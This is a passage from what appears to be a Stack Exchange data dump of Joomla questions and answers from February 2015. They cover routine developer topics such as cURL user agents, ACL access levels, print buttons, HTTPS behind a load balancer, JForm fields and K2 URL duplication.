all.&#xA;Would you have any idea of what I'd need to do to get the file?&#xA;Thanks for any hints!&lt;/p&gt;&#xA;" OwnerUserId="2252" LastActivityDate="2015-02-21T18:11:05.900" Title="Joomla 2.5 installer: cUrl cannot find domain.tld/extension.xml with HTTP 302 Found instead of HTTP 200" Tags="|joomla-2.5|curl|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8734" PostTypeId="2" ParentId="8733" CreationDate="2015-02-21T18:11:05.900" Score="0" Body="&lt;p&gt;Ah sorry, I just found an answer. Apparently many servers reject requests without a proper user agent given. &#xA;Adding USERAGENT to my options sorted the issue&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options[CURLOPT_USERAGENT] = isset($userAgent) ? $userAgent : &quot;Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2252" LastActivityDate="2015-02-21T18:11:05.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8736" PostTypeId="1" CreationDate="2015-02-21T23:10:21.953" Score="2" ViewCount="916" Body="&lt;p&gt;How could I get access level for a given URL?&lt;br&gt;&#xA;I need to know if a URL is accessible for registered or only guests users.&lt;/p&gt;&#xA;" OwnerUserId="3671" LastEditorUserId="126" LastEditDate="2015-11-09T23:22:29.920" LastActivityDate="2019-11-15T09:00:53.207" Title="Get access level for a URL" Tags="|joomla-3.x|joomla-api|acl|access|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8738" PostTypeId="2" ParentId="8736" CreationDate="2015-02-22T09:53:15.673" Score="6" Body="&lt;p&gt;I don't think there is info about the access on the URL level, nor there is a &quot;global - thing&quot; that controls the access of any url/page, so you can fetch this info in a list. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;h2&gt;Some brief background information on ACL&lt;/h2&gt;*anyone please correct me if that's no correct.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Access levels&lt;/strong&gt; occurs much lower in the system - It works on each component and its content elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;strong&gt;ACL&lt;/strong&gt; you don't set access on URLs, rather you do it on content elements individually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually the &lt;strong&gt;components&lt;/strong&gt; have options to specify the &lt;strong&gt;access levels&lt;/strong&gt; for their &lt;strong&gt;content items&lt;/strong&gt;, which are stored in the &lt;strong&gt;associative items table&lt;/strong&gt; in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After requesting a page through a URL, Joomla will return the content of this page based on the url query, which usually specifies a component, a view and a content item.&lt;br&gt;&#xA;Usually the component's code that is responsible to display the above content, will check the access level of the content item stored in the database and compare it with the current user's view access level, in order to decide if it will show or not the content to that user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, this concludes regarding to the ACL, that what you need to check, is about specific content items access levels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Current Menu Item's Access Level&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;What I can think is close to what you might want, is to check the &lt;strong&gt;menu item's access level&lt;/strong&gt;, since &lt;strong&gt;Menu Items&lt;/strong&gt; play big role in &lt;strong&gt;displaying content&lt;/strong&gt; and &lt;strong&gt;building URLs&lt;/strong&gt;. But keep in mind that there can be so many situations, where a menu item could have a public access level, while the included content being in a restricted level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, if you need to check the access level for a menu item, you can go like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$menu = $app-&amp;gt;getMenu();&#xA;$menuActive = $menu-&amp;gt;getActive();&#xA;$menuActive-&amp;gt;access;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Get Article Access Level by ID&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;For an article you can go like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.application.component.model');&#xA;JModelLegacy::addIncludePath(JPATH_SITE.'/components/com_content/models');&#xA;$articleModel = JModelLegacy::getInstance( 'Article', 'ContentModel' );&#xA;$article = $articleModel-&amp;gt;getItem($articleID);&#xA;$article-&amp;gt;access;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;*It would help to get even better answer, if you would specify from where you want to get this information and describe what you are trying to achieve.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-02-23T22:12:22.490" LastActivityDate="2015-02-23T22:12:22.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8739" PostTypeId="2" ParentId="8670" CreationDate="2015-02-22T10:29:06.833" Score="2" Body="&lt;p&gt;To my knowledge, K2 v2.x does not support permissions for categories. Also, I don't think ACL Manager will be much of help here.&lt;br&gt;&#xA;For full ACL implementation of the Joomla core into K2, you should wait for the K2 v3.x. &#xA;However it is still in beta phase, although it supposed it would have been out by now. You should be patient and wait for it.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://getk2.org/blog/1792-k2-v268-released-whats-coming-in-v270-a-v3-update&quot; rel=&quot;nofollow&quot;&gt;What's new K2 v3&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://getk2.org/blog/2073-first-beta-of-k2-version-3-is-here&quot; rel=&quot;nofollow&quot;&gt;K2 v3 Beta: for testing purposes&lt;/a&gt;&lt;/strong&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-02-22T10:29:06.833" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8740" PostTypeId="2" ParentId="8696" CreationDate="2015-02-22T11:03:54.297" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.nonumber.nl/extensions/dbreplacer&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;NoNumber DB replacer&lt;/strong&gt;&lt;/a&gt;, is a great extension that allows performing changes massively directly in the content of the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a Free and a Paid version. &#xA;With the &lt;strong&gt;Free&lt;/strong&gt; version you can do &lt;strong&gt;search and replace&lt;/strong&gt; in specific db tables up to &lt;strong&gt;50 rows&lt;/strong&gt; at time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;Paid&lt;/strong&gt; version supports &lt;strong&gt;Limiting&lt;/strong&gt; your searches with &lt;strong&gt;where statements&lt;/strong&gt;, using &lt;strong&gt;regular expressions&lt;/strong&gt;, and replaces up to &lt;strong&gt;1000 rows&lt;/strong&gt; at time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would definitely go with the paid version. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Backup!!!&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;However you should be very cautious using the extension on a production site, changes you do on your db are irreversible. So you should be conscious about what you are going to replace, although the extension shows what it is going to be replaced on each row, but &lt;strong&gt;stay safe by keeping backups of your db&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-02-22T11:03:54.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8742" PostTypeId="1" AcceptedAnswerId="16083" CreationDate="2015-02-23T01:34:35.460" Score="2" ViewCount="430" Body="&lt;p&gt;I keep a regular watch on the the Redirect Component and lately I have noticed a lot of 404s being registered that is a bit confusing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, there is a SEF link like &lt;code&gt;/books/new-book&lt;/code&gt; which works fine. Now I see a 404 on &lt;code&gt;/books/new-book/index.php&lt;/code&gt; even though nowhere in the site is there a link like that. I haven't messed about with the core .htaccess file although I have added a few custom redirect 301s none of which does anything to add/update index.php. I have tried recreating the scenario but failed and when sometimes there is a link in the referrer column, it is the exact same link as the 404ed link which makes little sense. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could I be missing something rather obvious here or be able to test if it is indeed my Redirect 301s? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="3650" LastEditDate="2016-03-06T21:47:22.667" LastActivityDate="2016-04-08T22:51:09.387" Title="Redirect component is showing a lot of links with index.php at the end of URL" Tags="|seo|redirect|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8743" PostTypeId="1" AcceptedAnswerId="8744" CreationDate="2015-02-23T08:32:01.960" Score="1" ViewCount="1308" Body="&lt;p&gt;I have created my business logic in model, but in view part I'm not so expert of how to use JHTML.&lt;br&gt;&#xA;Can anyone tell me how can I add a print button in joomla list view?&lt;/p&gt;&#xA;" OwnerUserId="3553" LastEditorUserId="126" LastEditDate="2016-01-21T23:29:58.007" LastActivityDate="2016-01-21T23:29:58.007" Title="How do I add print button in Joomla list view.?" Tags="|joomla-3.x|joomla-2.5|view|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8744" PostTypeId="2" ParentId="8743" CreationDate="2015-02-23T10:45:34.953" Score="2" Body="&lt;p&gt;I don't know if you talk about the frontend or backend... if you are in the Joomla! backend you can create a custom toolbar button in your view.html.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$bar = &amp;amp; JToolBar::getInstance('toolbar');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$bar-&gt;appendButton( 'Print', 'print32', 'Print', 'index.php?option=com_yourcomponent&amp;amp;view=yourviewname&amp;amp;tmpl=component&amp;amp;print=1' );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second argument is an image if you want a custom image you need to add extra styles in a css file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.icon-32-print32 {&#xA;    background-image: url(../images/print32.png);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your view check for the print variable in the url and put a button if present, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(JRequest::getVar('print', 0, 'get') == 1) : ?&amp;gt;&amp;lt;a href=&quot;#&quot; onclick=&quot;window.print();&quot; &amp;gt;Click for Printing&amp;lt;/a&amp;gt;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The toolbar button opens your list without the joomla template but check if your admin template has a component.php file in the template root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are in the frontend check this explanation in the Joomla! Docs &lt;a href=&quot;https://docs.joomla.org/Adding_print_pop-up_functionality_to_a_component&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Adding_print_pop-up_functionality_to_a_component&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3760" LastActivityDate="2015-02-23T10:45:34.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8745" PostTypeId="1" AcceptedAnswerId="8746" CreationDate="2015-02-23T11:25:48.583" Score="2" ViewCount="220" Body="&lt;p&gt;I have just created a new Joomla 3.3.6 website which has always been set to 'offline'. This is because my client doesn't want to launch until a specific date. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have incorporated '&lt;em&gt;add this&lt;/em&gt;' and '&lt;em&gt;share this&lt;/em&gt;' buttons throughout the website. However when for example I click '&lt;em&gt;share this on Facebook&lt;/em&gt;' the share link doesn't show my site meta info, but my hosting providers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg it should display;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Music Website - join now for latest news and updates...etc etc&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Instead it displays;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Web hosting provider JustHost.com - domain hosting.. etc etc&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have used the Facebook &lt;a href=&quot;https://developers.facebook.com/tools/lint/&quot; rel=&quot;nofollow&quot;&gt;URL Linter&lt;/a&gt; as this confirms the above. Seems to be scraping the incorrect info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how can I update this meta info, do I need to run the URL Linter as soon as I make my website live or is there some other way? I'm not sure how long I will have to wait for the facebook cache to clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't make the website live until the specified date. I'd rather not have visitors share the incorrect info. Has anybody else encountered this?&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2015-02-23T12:10:54.260" Title="Offline site and facebook scraping" Tags="|joomla-3.x|cache|facebook|metadata|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8746" PostTypeId="2" ParentId="8745" CreationDate="2015-02-23T12:10:54.260" Score="3" Body="&lt;p&gt;Facebook (and most other portals) does need access to your site to harvest the data. There is no workaround and it's besides the common privacy issues a good thing as it prevents Facebook from flooding with spam content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you might can do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Turn of offline-modus&lt;/li&gt;&#xA;&lt;li&gt;Block access to your site via htaccess&lt;/li&gt;&#xA;&lt;li&gt;Allow specific IPs to access your site (your IP, facebook IPs) &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3518" LastActivityDate="2015-02-23T12:10:54.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8747" PostTypeId="2" ParentId="499" CreationDate="2015-02-23T12:44:27.423" Score="1" Body="&lt;p&gt;Sometimes the hierachical menu-item order gets a bit messy. Due to the complexity of nested sets this can happen if a proccess was interrupted. In most cases a rebuilding of the structure fixes that issue. You will find a corresponding button in your toolbar if you enter the menu manager. &lt;/p&gt;&#xA;" OwnerUserId="3518" LastActivityDate="2015-02-23T12:44:27.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8748" PostTypeId="2" ParentId="7172" CreationDate="2015-02-23T14:22:20.557" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Your main menu is hardcoded inside your template. This is contrary to everything a CMS is meant to be. As a consequence, you can't control where your modules are displayed using menu assignments. Only modules that are set to be displayed on all pages will be visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The correct way to do it is to replace your entire menu &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; list with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;position-1&quot; style=&quot;none&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then create a menu module, and publish it to &lt;code&gt;position-1&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You're modifying the &lt;code&gt;Protostar&lt;/code&gt; template. Because this ships with Joomla, it's considered a core hack. You should &lt;a href=&quot;https://joomla.stackexchange.com/questions/4181/best-way-to-override-the-index-php-file-from-a-joomla-template/4183#4183&quot;&gt;copy the template&lt;/a&gt; and continue working on the copy, because it's only a question of time before all your changes will be lost in a Joomla uprade.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-02-23T14:22:20.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8749" PostTypeId="1" CreationDate="2015-02-23T20:31:41.047" Score="3" ViewCount="1089" Body="&lt;p&gt;This issue has a few different layers to it. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I'm running a site over https. The issue I'm having is that ajax calls are being made over http, despite having relative urls.&lt;/li&gt;&#xA;&lt;li&gt;After looking into it, this is due to the base url having the http:// prefix instead of https://&lt;/li&gt;&#xA;&lt;li&gt;When I try to enable the 'force_ss' option to fix the base url, apache sends me into an infinite redirect loop.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Our server is setup behind a load balancer that handles the https request. For example. You hit &lt;a href=&quot;http://www.example.com&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com&lt;/a&gt;. The load balancer will handle the ssl and then send the traffic to the Joomla servers using port 80. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I think is happening is that Joomla is seeing it come over port 80, thinking that its not ssl, then redirecting it to be ssl which is sending it back to the load balancer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also set my $live_site configuation to be https but it didn't help.   JUri::base() is return https, however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to force the base url to be https:// in joomla while handling traffic over port 80?&lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="19" LastEditDate="2015-02-23T21:08:56.310" LastActivityDate="2015-02-24T13:23:03.707" Title="Joomla having https issues behind a load balancer" Tags="|https|ssl|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8750" PostTypeId="1" AcceptedAnswerId="8762" CreationDate="2015-02-24T03:57:18.813" Score="1" ViewCount="570" Body="&lt;p&gt;Here you are one of my k2 item's url&#xA;http://{mysite}/index.php/en/express-news/sport/item/12345&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem:&#xA;All of my k2items are under /sport/ which is wrong&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to config it like below:&#xA;http://{mysite}/index.php/en/express-news/item/12345&#xA;or&#xA;http://{mysite}/index.php/en/express-news/{item's own category}/item/12345&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could i do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="3639" LastActivityDate="2015-02-24T14:23:02.807" Title="k2 item's url under wrong category" Tags="|k2|url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8751" PostTypeId="1" CreationDate="2015-02-24T04:49:36.920" Score="1" ViewCount="1852" Body="&lt;p&gt;I am looking to add parameters to the edit-view of my component's menu editor on the fly instead of statically defining them as you normally would (as described : &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_a_MVC_Component/Adding_a_variable_request_in_the_menu_type&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Developing_a_MVC_Component/Adding_a_variable_request_in_the_menu_type&lt;/a&gt; ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a plugin and implemented onContentPrepareForm.  Within the plugin I construct xml for fields with the name &quot;params&quot; so that this data will be stored in the [params] column for the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The parameters are shown just fine on the form, however the data is not saved.  I have traced this through the bowels of the JForm joomla code and it turns out the JForm framework is discarding all of the custom fields that have been added dynamically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* Specifically (and this is where I need help) *&lt;/strong&gt; &#xA;JModelForm::validate() calls JForm::validate() calls JForm::findFieldsByGroup().  This last call eliminates my custom fields.  If I comment out the first call to validate(), the data for my custom fields is stored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a sample of my plugin showing how I add the XML on the fly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentPrepareForm( $form, $data)&#xA;{&#xA;$option = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('option');&#xA;$view = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('view');&#xA;&#xA;$modifyForm = false;&#xA;&#xA;// check if this is a menu item for my component&#xA;if($option == 'com_menus' &amp;amp;&amp;amp; $view == 'item' &amp;amp;&amp;amp; array_key_exists('component_id', $data))&#xA;{&#xA;$myComponent = JComponentHelper::getComponent('com_mycomponent');&#xA;if($data['component_id'] == $myComponent-&amp;gt;id)&#xA;{   &#xA;$modifyForm = true;&#xA;}&#xA;}&#xA;&#xA;if($modifyForm)&#xA;{&#xA;            $testXml = '&amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;                            &amp;lt;fieldset name=&quot;basic&quot; label=&quot;FIELDSET-LABEL&quot;&amp;gt;&#xA;                                &amp;lt;field name=&quot;test-field&quot; type=&quot;list&quot; label=&quot;test-field-label&quot; description=&quot;test-field-description&quot;&amp;gt;&#xA;                                &amp;lt;option value=&quot;&quot;&amp;gt;Default&amp;lt;/option&amp;gt;&#xA;                                &amp;lt;option value=&quot;0&quot;&amp;gt;Zero&amp;lt;/option&amp;gt;&#xA;                                &amp;lt;option value=&quot;1&quot;&amp;gt;One&amp;lt;/option&amp;gt;&#xA;                                &amp;lt;/field&amp;gt;&#xA;                            &amp;lt;/fieldset&amp;gt;&#xA;                    &amp;lt;/fields&amp;gt;';&#xA;            $xmlElement = new SimpleXMLElement($testXml);&#xA;            $form-&amp;gt;setField($xmlElement);&#xA;} &#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3764" LastEditorUserId="3" LastEditDate="2015-02-24T08:45:27.253" LastActivityDate="2015-02-26T08:10:23.613" Title="Dynamically add fields to component's menu edit form" Tags="|joomla-3.x|plugin|jform|custom-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8752" PostTypeId="2" ParentId="5793" CreationDate="2015-02-24T07:40:56.887" Score="0" Body="&lt;p&gt;Goto backend -&gt; content -&gt; Article manager -&gt; Add new article now you can create a one article with your need category then Extension manager -&gt; Module manager -&gt; New -&gt; Latest News -&gt; you can set the need category in that category box.&lt;/p&gt;&#xA;" OwnerDisplayName="user3604" LastActivityDate="2015-02-24T07:40:56.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8753" PostTypeId="2" ParentId="8708" CreationDate="2015-02-24T09:01:46.077" Score="1" Body="&lt;p&gt;There is no controller for articles in the frontend. That's why &lt;code&gt;articles.unpublish&lt;/code&gt; won't work. The toolbar itself is very flexible, but the default buttons just trigger a specific method of a controller. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;article.add&lt;/code&gt; will trigger &lt;code&gt;ContentArticleController-&amp;gt;add()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;articles.publish&lt;/code&gt; will trigger &lt;code&gt;ContentArticlesController-&amp;gt;publish()&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3518" LastActivityDate="2015-02-24T09:01:46.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8755" PostTypeId="1" CreationDate="2015-02-24T09:06:36.723" Score="3" ViewCount="279" Body="&lt;p&gt;I have upgraded my Joomla 2.5 to Joomla 3. After edit user, user groups will be empty. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;$groups = $user-&amp;gt;groups();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there anyone who faced same problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked by removing overridden files and plugings also. But no luck yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;=========Update===============&#xA;User object &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JUser Object&#xA;(&#xA;    [isRoot:protected] =&amp;gt; &#xA;    [id] =&amp;gt; 442&#xA;    [name] =&amp;gt; test user&#xA;    [username] =&amp;gt; testr&#xA;    [email] =&amp;gt; testr@abc.com&#xA;    [password] =&amp;gt; hash_code here&#xA;    [password_clear] =&amp;gt; &#xA;    [block] =&amp;gt; 0&#xA;    [sendEmail] =&amp;gt; 0&#xA;    [registerDate] =&amp;gt; 2014-02-27 05:26:39&#xA;    [lastvisitDate] =&amp;gt; 2015-02-24 08:06:47&#xA;    [activation] =&amp;gt; &#xA;    [params] =&amp;gt; {&quot;admin_style&quot;:&quot;&quot;,&quot;admin_language&quot;:&quot;&quot;,&quot;language&quot;:&quot;&quot;,&quot;editor&quot;:&quot;&quot;,&quot;helpsite&quot;:&quot;&quot;,&quot;timezone&quot;:&quot;&quot;}&#xA;    [groups] =&amp;gt; &#xA;    [guest] =&amp;gt; 0&#xA;    [lastResetTime] =&amp;gt; 0000-00-00 00:00:00&#xA;    [resetCount] =&amp;gt; 0&#xA;    [requireReset] =&amp;gt; 0&#xA;    [_params:protected] =&amp;gt; Joomla\Registry\Registry Object&#xA;        (&#xA;            [data:protected] =&amp;gt; stdClass Object&#xA;                (&#xA;                    [admin_style] =&amp;gt; &#xA;                    [admin_language] =&amp;gt; &#xA;                    [language] =&amp;gt; &#xA;                    [editor] =&amp;gt; &#xA;                    [helpsite] =&amp;gt; &#xA;                    [timezone] =&amp;gt; &#xA;                )&#xA;&#xA;        )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I found following same issue but no answers yet - &lt;a href=&quot;https://stackoverflow.com/questions/26635378/user-groups-is-null-after-editing-user-and-saving&quot;&gt;https://stackoverflow.com/questions/26635378/user-groups-is-null-after-editing-user-and-saving&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1773" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-03-26T10:39:51.447" Title="User groups is null after edit user joomla 3" Tags="|joomla-3.x|upgrade|user-groups|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8756" PostTypeId="2" ParentId="8755" CreationDate="2015-02-24T09:13:30.973" Score="0" Body="&lt;p&gt;I had exactly the same issue which took me quite a long time to realise what had gone wrong. I'm not too sure what had happened but wrote an answer a while back to sort the problem out:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/4174/you-cannot-access-the-private-section-of-this-site&quot;&gt;You cannot access the private section of this site&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-02-24T09:13:30.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8757" PostTypeId="1" AcceptedAnswerId="8763" CreationDate="2015-02-24T09:17:38.163" Score="1" ViewCount="886" Body="&lt;p&gt;I can't manage how to solve this problem with K2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have had a problem regarding this url: mysite.com/category/1/item-1 and mysite.com/category/item-1 and I managed to solve it using the .htaccess file but now I discovered 2 more problems:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) mysite.com/index.php?option=com_k2&amp;amp;view=item&amp;amp;id=X:my-item&amp;amp;Itemid=Y is equal to mysite.com/category/my-item&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) mysite.com/component/k2/my-item is equal to mywebsite.com/category/my-item&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) mysite.com/index.php?option=com_k2&amp;amp;view=item&amp;amp;layout=item&amp;amp;id=X is equal to mywebsite.com/category/my-item&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already have enabled my URL SEF options in joomla configuration, of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will cause a duplicate item issue that may hurt my SEO. Can someone help me? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3530" LastEditorUserId="3530" LastEditDate="2015-02-24T09:23:48.103" LastActivityDate="2015-05-08T13:11:02.180" Title="K2 Different Url same item" Tags="|joomla-2.5|k2|seo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8758" PostTypeId="1" CreationDate="2015-02-24T09:23:54.053" Score="2" ViewCount="75" Body="&lt;p&gt;Is it possibile to add the number of posts you need to get next rank in Kunena?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this maybe:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/I4920.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/I4920.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was trying to do this with AlphaUserPoints but I actually can't find an AlphaUserPoints' download link for Joomla 2.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3530" LastEditorUserId="3650" LastEditDate="2016-03-06T21:30:04.760" LastActivityDate="2016-03-06T21:30:04.760" Title="Kunena add &quot;# post to next rank&quot; below users informations?" Tags="|joomla-2.5|kunena|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
